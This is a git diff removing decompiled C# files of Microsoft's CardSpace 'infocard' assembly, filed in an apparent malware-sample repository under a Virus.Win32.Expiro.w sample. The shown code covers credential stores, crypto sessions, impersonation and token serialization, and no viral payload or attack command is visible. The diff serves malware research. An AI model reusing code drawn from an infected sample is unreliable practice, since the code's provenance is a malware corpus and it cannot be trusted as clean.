a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/StorableObjectType.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.StorableObjectType -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -namespace Microsoft.InfoCards -{ - internal enum StorableObjectType - { - Recipient = -3, // 0xFFFFFFFD - UserPreferences = -2, // 0xFFFFFFFE - LedgerEntry = -1, // 0xFFFFFFFF - Unknown = 0, - InfoCard = 1, - InfoCardClaims = 2, - InfoCardMasterkey = 3, - InfocardExtendedInformation = 4, - RPIdentityRequirement = 5, - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/StoreConnection.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/StoreConnection.cs deleted file mode 100644 index 91452dd2..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/StoreConnection.cs +++ /dev/null @@ -1,341 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.StoreConnection -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections; -using System.Collections.Generic; -using System.Collections.Specialized; -using System.IO; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal class StoreConnection : IDisposable - { - public const string DEFAULTFILENAME = "CardSpace.db"; - public const string STOREFILENAMEV2 = "CardSpaceSP2.db"; - public const string STORAGEPATH = "Microsoft\\CardSpace\\"; - private static Hashtable s_instanceCache = CollectionsUtil.CreateCaseInsensitiveHashtable(); - private string m_path; - private int m_refCount; - private Hashtable m_sources; - private string m_instanceId; - private string m_activeSource; - private string m_localSource; - private bool m_isLoaded; - private WindowsIdentity m_identity; - private bool m_disposed; - private object m_sync; - - protected StoreConnection(WindowsIdentity identity) - { - this.m_identity = new WindowsIdentity(identity.Token); - this.m_instanceId = this.m_identity.User.Value; - this.m_sync = new object(); - this.m_disposed = false; - this.m_path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Microsoft\\CardSpace\\"); - this.m_localSource = this.m_path + "CardSpaceSP2.db"; - this.m_activeSource = this.m_localSource; - this.m_sources = CollectionsUtil.CreateCaseInsensitiveHashtable(); - } - - public Hashtable DataSources => this.m_sources; - - public string ActiveDataSource => this.m_activeSource; - - public string LocalDataSource => this.m_localSource; - - public string InstanceId => this.m_instanceId; - - public WindowsIdentity Identity => this.m_identity; - - protected int ReferenceCount - { - get => this.m_refCount; - set => this.m_refCount = value; - } - - public static StoreConnection CreateConnection() - { - WindowsIdentity current = WindowsIdentity.GetCurrent(); - InfoCardTrace.Assert(!current.IsSystem, "Identity should not be LSA"); - return StoreConnection.GetConnection(current, true); - } - - public static StoreConnection GetConnection() - { - WindowsIdentity current = WindowsIdentity.GetCurrent(); - InfoCardTrace.Assert(!current.IsSystem, "Identity should not be LSA"); - return StoreConnection.GetConnection(current); - } - - public static StoreConnection GetConnection(WindowsIdentity identity) => StoreConnection.GetConnection(identity, false); - - private static StoreConnection GetConnection( - WindowsIdentity identity, - bool allowCreate) - { - StoreConnection connection = (StoreConnection) null; - lock (StoreConnection.s_instanceCache.SyncRoot) - { - connection = (StoreConnection) StoreConnection.s_instanceCache[(object) identity.User.Value]; - if (connection == null) - { - if (!allowCreate) - throw InfoCardTrace.ThrowHelperError((Exception) new DataAccessException(SR.GetString("StoreFailedToOpenStore"))); - connection = new StoreConnection(identity); - connection.Load(); - StoreConnection.s_instanceCache[(object) identity.User.Value] = (object) connection; - } - else if (!connection.m_isLoaded) - connection.Load(); - ++connection.ReferenceCount; - } - return connection; - } - - public void SetActiveDataSource(string id) - { - this.ThrowIfNotLoaded(); - if (!this.m_sources.ContainsKey((object) id)) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (id), (object) id, SR.GetString("StoreSourceIdOutOfRange"))); - this.m_activeSource = !((DataSource) this.m_sources[(object) this.m_activeSource]).IsProcessingTransaction() ? id : throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreProcessingTransaction"))); - } - - public void Close() - { - this.ThrowIfNotLoaded(); - lock (StoreConnection.s_instanceCache.SyncRoot) - { - --this.ReferenceCount; - if (this.ReferenceCount != 0) - return; - StoreConnection.s_instanceCache.Remove((object) this.m_identity.User.Value); - this.m_isLoaded = false; - foreach (string key in (IEnumerable) this.m_sources.Keys) - ((DataSource) this.m_sources[(object) key]).Close(); - this.m_sources.Clear(); - } - } - - void IDisposable.Dispose() - { - lock (this.m_sync) - { - if (this.m_disposed) - return; - this.m_disposed = true; - if (this.m_identity == null) - return; - this.m_identity.Dispose(); - this.m_identity = (WindowsIdentity) null; - } - } - - public bool IsDataSourceCleared(string sourceId) - { - if (!this.m_sources.ContainsKey((object) sourceId)) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (sourceId), (object) sourceId, SR.GetString("StoreSourceIdOutOfRange"))); - return ((DataSource) this.m_sources[(object) sourceId]).IsCleared; - } - - public void ResetDataSourceClearedFlag(string sourceId) - { - if (!this.m_sources.ContainsKey((object) sourceId)) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (sourceId), (object) sourceId, SR.GetString("StoreSourceIdOutOfRange"))); - ((DataSource) this.m_sources[(object) sourceId]).IsCleared = false; - } - - public DataRow GetSingleRow(QueryDetails details, params QueryParameter[] objectQuery) => this.GetSingleRow(details, this.m_activeSource, objectQuery); - - public DataRow GetSingleRow(params QueryParameter[] objectQuery) => this.GetSingleRow(this.m_activeSource, objectQuery); - - public DataRow GetSingleRow(string sourceId, params QueryParameter[] objectQuery) => this.GetSingleRow(QueryDetails.FullRow, sourceId, objectQuery); - - public DataRow GetSingleRow( - QueryDetails details, - string sourceId, - params QueryParameter[] objectQuery) - { - this.ThrowIfNotLoaded(); - if (objectQuery == null || objectQuery.Length == 0) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (objectQuery)); - if (!this.m_sources.ContainsKey((object) sourceId)) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (sourceId), (object) sourceId, SR.GetString("StoreSourceIdOutOfRange"))); - return ((DataSource) this.m_sources[(object) sourceId]).GetSingleRow(details, objectQuery); - } - - public ICollection Query( - QueryDetails details, - params QueryParameter[] query) - { - return this.Query(details, this.m_activeSource, query); - } - - public ICollection Query(params QueryParameter[] query) => this.Query(this.m_activeSource, query); - - public ICollection Query( - string sourceId, - params QueryParameter[] query) - { - return this.Query(QueryDetails.FullRow, sourceId, query); - } - - public ICollection Query( - QueryDetails details, - string sourceId, - params QueryParameter[] query) - { - this.ThrowIfNotLoaded(); - if (query == null || query.Length == 0) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (query)); - if (!this.m_sources.ContainsKey((object) sourceId)) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (sourceId), (object) sourceId, SR.GetString("StoreSourceIdOutOfRange"))); - return (ICollection) ((DataSource) this.m_sources[(object) sourceId]).Query(details, query); - } - - public void Save(string sourceId, DataRow row) - { - this.ThrowIfNotLoaded(); - if (row == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (row)); - if (!this.m_sources.ContainsKey((object) sourceId)) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (sourceId), (object) sourceId, SR.GetString("StoreSourceIdOutOfRange"))); - ((DataSource) this.m_sources[(object) sourceId]).Save(row); - } - - public void Save(DataRow row) - { - this.ThrowIfNotLoaded(); - if (row == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (row)); - if (!string.IsNullOrEmpty(row.SourceId)) - this.Save(row.SourceId, row); - else - this.Save(this.m_activeSource, row); - } - - public void Delete(string sourceId, DataRow row) - { - this.ThrowIfNotLoaded(); - if (row.InstanceId != this.m_instanceId) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreRowOwnedByOtherDataSource"))); - if (!this.m_sources.ContainsKey((object) sourceId)) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (sourceId), (object) sourceId, SR.GetString("StoreSourceIdOutOfRange"))); - ((DataSource) this.m_sources[(object) sourceId]).Delete(row); - } - - public void Delete(DataRow row) => this.Delete(row.SourceId, row); - - public void BeginTransaction() => this.BeginTransaction(this.m_activeSource); - - public void BeginTransaction(string sourceId) - { - if (!this.m_sources.ContainsKey((object) sourceId)) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(" sourceId ", (object) sourceId, SR.GetString("StoreSourceIdOutOfRange"))); - ((DataSource) this.m_sources[(object) sourceId]).BeginTransaction(); - } - - public void CommitTransaction() => this.CommitTransaction(this.m_activeSource); - - public void CommitTransaction(string sourceId) - { - if (!this.m_sources.ContainsKey((object) sourceId)) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(" sourceId ", (object) sourceId, SR.GetString("StoreSourceIdOutOfRange"))); - ((DataSource) this.m_sources[(object) sourceId]).CommitTransaction(); - } - - public void RollbackTransaction() => this.RollbackTransaction(this.m_activeSource); - - public void RollbackTransaction(string sourceId) - { - if (!this.m_sources.ContainsKey((object) sourceId)) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(" sourceId ", (object) sourceId, SR.GetString("StoreSourceIdOutOfRange"))); - ((DataSource) this.m_sources[(object) sourceId]).RollbackTransaction(); - } - - protected virtual void CreateDefaultDataSources(Hashtable list) - { - string str = this.m_path + "CardSpace.db"; - using (new SystemIdentity(true)) - { - if (File.Exists(this.m_localSource)) - { - if (File.Exists(str)) - { - if (DateTime.Compare(File.GetLastWriteTime(str), File.GetLastWriteTime(this.m_localSource)) > 0) - { - File.Delete(this.m_localSource); - if (File.Exists(this.m_localSource + ".shadow")) - File.Delete(this.m_localSource + ".shadow"); - this.AtomicFileCopy(str, this.m_localSource); - } - } - } - else if (!File.Exists(this.m_localSource) && File.Exists(this.m_localSource + ".shadow")) - { - FileInfo fileInfo = new FileInfo(this.m_localSource + ".shadow"); - if (0L == fileInfo.Length) - fileInfo.Delete(); - } - else if (File.Exists(str)) - this.AtomicFileCopy(str, this.m_localSource); - else if (File.Exists(str + ".shadow")) - { - FileInfo fileInfo = new FileInfo(str + ".shadow"); - if (0L == fileInfo.Length) - fileInfo.Delete(); - else - this.AtomicFileCopy(str + ".shadow", this.m_localSource); - } - } - list.Add((object) this.m_localSource, (object) new FileDataSource(this.m_identity, this.m_localSource, this.m_instanceId, SecondaryIndexDefinition.MasterIndexes)); - } - - protected void AtomicFileCopy(string source, string destination) - { - if (!File.Exists(source)) - return; - File.Copy(source, source + ".atomic", true); - FileInfo fileInfo = new FileInfo(source + ".atomic"); - if (fileInfo.Length == 0L) - return; - fileInfo.MoveTo(destination); - } - - protected void Load() - { - InfoCardTrace.Assert(!this.m_isLoaded, "Store is already loaded"); - this.CreateDefaultDataSources(this.m_sources); - foreach (string key in (IEnumerable) this.m_sources.Keys) - { - if (!((DataSource) this.m_sources[(object) key]).IsLoaded) - { - bool flag = false; - try - { - ((DataSource) this.m_sources[(object) key]).Load(); - flag = true; - } - catch (CorruptStoreException ex) - { - ((DataSource) this.m_sources[(object) key]).Clear(); - } - catch (InvalidStoreProtectionKeyException ex) - { - ((DataSource) this.m_sources[(object) key]).Clear(); - } - if (!flag) - ((DataSource) this.m_sources[(object) key]).Load(); - } - } - this.m_isLoaded = true; - } - - protected void ThrowIfNotLoaded() => InfoCardTrace.Assert(this.m_isLoaded, "store is not loaded"); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SymmetricCryptoSession.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SymmetricCryptoSession.cs deleted file mode 100644 index 6e2eb849..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SymmetricCryptoSession.cs +++ /dev/null @@ -1,83 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SymmetricCryptoSession -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Diagnostics; -using System.IO; -using System.Security.Cryptography; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal class SymmetricCryptoSession : CryptoSession - { - private SymmetricAlgorithm m_alg; - - public SymmetricCryptoSession( - Process process, - DateTime expiration, - WindowsIdentity identity, - byte[] key) - : base(process, expiration, identity, (object) key, CryptoSession.SessionType.Symmetric) - { - this.m_alg = (SymmetricAlgorithm) new RijndaelManaged(); - this.m_alg.Key = key; - } - - protected override void OnDispose() - { - this.m_alg.Clear(); - this.m_alg.Dispose(); - this.m_alg = (SymmetricAlgorithm) null; - } - - protected override void OnWrite(BinaryWriter bwriter) - { - bwriter.Write(this.m_alg.KeySize); - bwriter.Write(this.m_alg.BlockSize); - bwriter.Write(this.m_alg.FeedbackSize); - } - - public byte[] GenerateDerivedKey( - string algorithmUri, - byte[] label, - byte[] nonce, - int derivedKeyLength, - int offset) - { - if (algorithmUri == "http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1" || algorithmUri == "http://docs.oasis-open.org/ws-sx/ws-secureconversation/200512/dk/p_sha1") - return new Psha1DerivedKeyGenerator(this.m_alg.Key).GenerateDerivedKey(label, nonce, derivedKeyLength, offset); - throw InfoCardTrace.ThrowHelperWarning((Exception) new InfoCardArgumentException(SR.GetString("ServiceUnsupportedKeyDerivationAlgorithm", (object) algorithmUri))); - } - - public TransformCryptoSession GetCryptoTransform( - CipherMode mode, - PaddingMode padding, - int feedbackSize, - SymmetricCryptoSession.Direction direction, - byte[] iv) - { - this.m_alg.Mode = mode; - this.m_alg.Padding = padding; - this.m_alg.IV = iv; - return new TransformCryptoSession(this.ProcessObj, this.Expiration, this.Identity, SymmetricCryptoSession.Direction.Encrypt != direction ? this.m_alg.CreateDecryptor() : this.m_alg.CreateEncryptor()); - } - - public HashCryptoSession GetKeyedHash() - { - KeyedHashAlgorithm hash = (KeyedHashAlgorithm) new HMACSHA1(this.m_alg.Key); - hash.Initialize(); - return new HashCryptoSession(this.ProcessObj, this.Expiration, this.Identity, hash); - } - - public enum Direction - { - Encrypt = 1, - Decrypt = 2, - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SystemIdentity.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SystemIdentity.cs deleted file mode 100644 index 7ac29aa9..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SystemIdentity.cs +++ /dev/null @@ -1,62 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SystemIdentity -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Globalization; -using System.Runtime.InteropServices; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal sealed class SystemIdentity : IDisposable - { - private bool m_isDisposed; - private WindowsIdentity m_identity; - private object m_sync; - public static readonly IdentityReference LsaIdentityReference = (IdentityReference) new SecurityIdentifier("SY"); - - public SystemIdentity(bool throwIfAlreadySystem) - { - this.m_sync = new object(); - WindowsIdentity current = WindowsIdentity.GetCurrent(); - if (current.IsSystem && throwIfAlreadySystem) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("UserIdentityEqualSystemNotSupported"))); - if (!current.IsSystem) - { - this.m_identity = current; - if (NativeMethods.RevertToSelf()) - return; - InfoCardTrace.Assert(false, "Identity management failure"); - } - else - InfoCardTrace.Assert(null == this.m_identity, "m_identity should be null when we are system and throwIfAlreadySystem == false"); - } - - void IDisposable.Dispose() - { - if (this.m_isDisposed) - return; - lock (this.m_sync) - { - if (this.m_isDisposed) - return; - this.m_isDisposed = true; - if (this.m_identity == null) - return; - if (!NativeMethods.ImpersonateLoggedOnUser(this.m_identity.Token)) - { - int forLastWin32Error = Marshal.GetHRForLastWin32Error(); - InfoCardTrace.FailFast(string.Format((IFormatProvider) CultureInfo.InvariantCulture, SR.GetString("StoreImpersonateLoggedOnUserFailed"), new object[1] - { - (object) forLastWin32Error - })); - } - this.m_identity.Dispose(); - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SystemShuttingDownException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SystemShuttingDownException.cs deleted file mode 100644 index a030d4d8..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SystemShuttingDownException.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SystemShuttingDownException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class SystemShuttingDownException : InfoCardBaseException - { - private const int HRESULT = -1073413873; - - public SystemShuttingDownException() - : base(-1073413873) - { - } - - public SystemShuttingDownException(string message) - : base(-1073413873, message) - { - } - - public SystemShuttingDownException(string message, Exception inner) - : base(-1073413873, message, inner) - { - } - - protected SystemShuttingDownException(SerializationInfo si, StreamingContext sc) - : base(-1073413873, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/TokenCreationException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/TokenCreationException.cs deleted file mode 100644 index 32ede360..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/TokenCreationException.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.TokenCreationException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class TokenCreationException : InfoCardBaseException - { - private const int HRESULT = -1073413872; - - public TokenCreationException() - : base(-1073413872) - { - } - - public TokenCreationException(string message) - : base(-1073413872, message) - { - } - - public TokenCreationException(string message, Exception inner) - : base(-1073413872, message, inner) - { - } - - protected TokenCreationException(SerializationInfo si, StreamingContext sc) - : base(-1073413872, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/TokenCreationParameter.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/TokenCreationParameter.cs deleted file mode 100644 index 123fc43a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/TokenCreationParameter.cs +++ /dev/null @@ -1,349 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.TokenCreationParameter -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.IO; -using System.ServiceModel; -using System.ServiceModel.Channels; -using System.Text; -using System.Xml; -using System.Xml.Serialization; - -namespace Microsoft.InfoCards -{ - internal class TokenCreationParameter : IXmlSerializable - { - private TokenFactoryCredentialType m_credentialType; - private EndpointAddress m_epr; - private string m_hint; - private Dictionary m_selectorMap; - - public TokenCreationParameter() => this.m_selectorMap = new Dictionary(); - - public TokenFactoryCredentialType CredentialType - { - get => this.m_credentialType; - set => this.m_credentialType = value; - } - - public EndpointAddress Epr - { - get => this.m_epr; - set => this.m_epr = value; - } - - public Dictionary CredentialSelectors => this.m_selectorMap; - - public bool IsComplete() - { - if ((EndpointAddress) null == this.m_epr) - return false; - bool flag = true; - if (this.m_credentialType == TokenFactoryCredentialType.X509CertificateCredential || this.m_credentialType == TokenFactoryCredentialType.SelfIssuedCredential) - flag = flag && this.m_selectorMap.Count > 0; - return flag; - } - - public void ThrowIfNotComplete() - { - if (!this.IsComplete()) - throw InfoCardTrace.ThrowHelperError((Exception) new SerializationIncompleteException(this.GetType())); - } - - public void Serialize(BinaryWriter writer) - { - this.ThrowIfNotComplete(); - writer.Write((int) this.m_credentialType); - Utility.SerializeString(writer, this.m_hint); - Utility.SerializeString(writer, TokenCreationParameter.CreateEprXmlString(this.m_epr)); - writer.Write(this.m_selectorMap.Count); - if (this.m_selectorMap.Count <= 0) - return; - foreach (CredentialSelector credentialSelector in this.m_selectorMap.Values) - credentialSelector.Serialize(writer); - } - - public void Deserialize(BinaryReader reader) - { - TokenFactoryCredentialType factoryCredentialType = (TokenFactoryCredentialType) reader.ReadInt32(); - string str = Utility.DeserializeString(reader); - EndpointAddress eprFromString = TokenCreationParameter.CreateEprFromString(Utility.DeserializeString(reader)); - int num = reader.ReadInt32(); - Dictionary dictionary = new Dictionary(); - for (int index = 0; index < num; ++index) - { - CredentialSelector credentialSelector = new CredentialSelector(); - credentialSelector.Deserialize(reader); - dictionary.Add(credentialSelector.Type, credentialSelector); - } - this.m_credentialType = factoryCredentialType; - this.m_epr = eprFromString; - this.m_selectorMap = dictionary; - this.m_hint = str; - this.ThrowIfNotComplete(); - } - - private static EndpointAddress CreateEprFromString(string value) - { - using (MemoryStream input = new MemoryStream(Encoding.UTF8.GetBytes(value))) - { - using (XmlDictionaryReader readerWithQuotas = Utility.CreateReaderWithQuotas((Stream) input)) - { - try - { - return EndpointAddress.ReadFrom(readerWithQuotas); - } - catch (InfoCardBaseException ex) - { - throw; - } - catch (Exception ex) - { - if (!InfoCardTrace.IsFatal(ex)) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("ServiceInvalidCredentialSelector"), ex)); - throw; - } - } - } - } - - private static string CreateEprXmlString(EndpointAddress address) - { - using (MemoryStream w = new MemoryStream()) - { - using (XmlWriter writer = (XmlWriter) new XmlTextWriter((Stream) w, Encoding.Unicode)) - { - address.WriteTo(AddressingVersion.WSAddressing10, writer); - writer.Flush(); - w.Flush(); - return Encoding.Unicode.GetString(w.GetBuffer(), 2, Convert.ToInt32(w.Length - 2L)); - } - } - } - - public System.Xml.Schema.XmlSchema GetSchema() => (System.Xml.Schema.XmlSchema) null; - - public void WriteXml(XmlWriter writer) - { - if (writer == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (writer)); - InfoCardTrace.ThrowInvalidArgumentConditional(!this.IsComplete(), "IsComplete"); - writer.WriteStartElement("TokenService", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - this.m_epr.WriteTo(AddressingVersion.WSAddressing10, writer); - writer.WriteStartElement("UserCredential", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - if (!string.IsNullOrEmpty(this.m_hint)) - { - writer.WriteStartElement("DisplayCredentialHint", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteString(this.m_hint); - writer.WriteEndElement(); - } - switch (this.m_credentialType) - { - case TokenFactoryCredentialType.UserNamePasswordCredential: - this.WriteUserNameCredential(writer); - break; - case TokenFactoryCredentialType.SelfIssuedCredential: - this.WriteSelfIssuedCredential(writer); - break; - case TokenFactoryCredentialType.X509CertificateCredential: - this.WriteX509CertificateCredential(writer); - break; - case TokenFactoryCredentialType.KerberosCredential: - this.WriteKerberosCredential(writer); - break; - default: - InfoCardTrace.ThrowInvalidArgumentConditional(true, "CredentialType"); - break; - } - writer.WriteEndElement(); - writer.WriteEndElement(); - } - - public void WriteUserNameCredential(XmlWriter writer) - { - writer.WriteStartElement("UsernamePasswordCredential", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - if (this.m_selectorMap.ContainsKey(CredentialSelectorType.UserNameSelector)) - this.m_selectorMap[CredentialSelectorType.UserNameSelector].WriteXml(writer); - writer.WriteEndElement(); - } - - public void WriteKerberosCredential(XmlWriter writer) - { - writer.WriteStartElement("KerberosV5Credential", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteEndElement(); - } - - public void WriteSelfIssuedCredential(XmlWriter writer) - { - writer.WriteStartElement("SelfIssuedCredential", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - if (this.m_selectorMap.ContainsKey(CredentialSelectorType.SelfIssuedCardIdSelector)) - this.m_selectorMap[CredentialSelectorType.SelfIssuedCardIdSelector].WriteXml(writer); - writer.WriteEndElement(); - } - - public void WriteX509CertificateCredential(XmlWriter writer) - { - writer.WriteStartElement("X509V3Credential", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - if (this.m_selectorMap.ContainsKey(CredentialSelectorType.X509CertificateIssuerNameSelector) && this.m_selectorMap.ContainsKey(CredentialSelectorType.X509CertificateIssuerSerialNoSelector)) - { - writer.WriteStartElement("X509Data", "http://www.w3.org/2000/09/xmldsig#"); - writer.WriteStartElement("X509IssuerSerial", "http://www.w3.org/2000/09/xmldsig#"); - this.m_selectorMap[CredentialSelectorType.X509CertificateIssuerNameSelector].WriteXml(writer); - this.m_selectorMap[CredentialSelectorType.X509CertificateIssuerSerialNoSelector].WriteXml(writer); - writer.WriteEndElement(); - writer.WriteEndElement(); - } - else if (this.m_selectorMap.ContainsKey(CredentialSelectorType.X509CertificateKeyHashSelector)) - { - writer.WriteStartElement("X509Data", "http://www.w3.org/2000/09/xmldsig#"); - 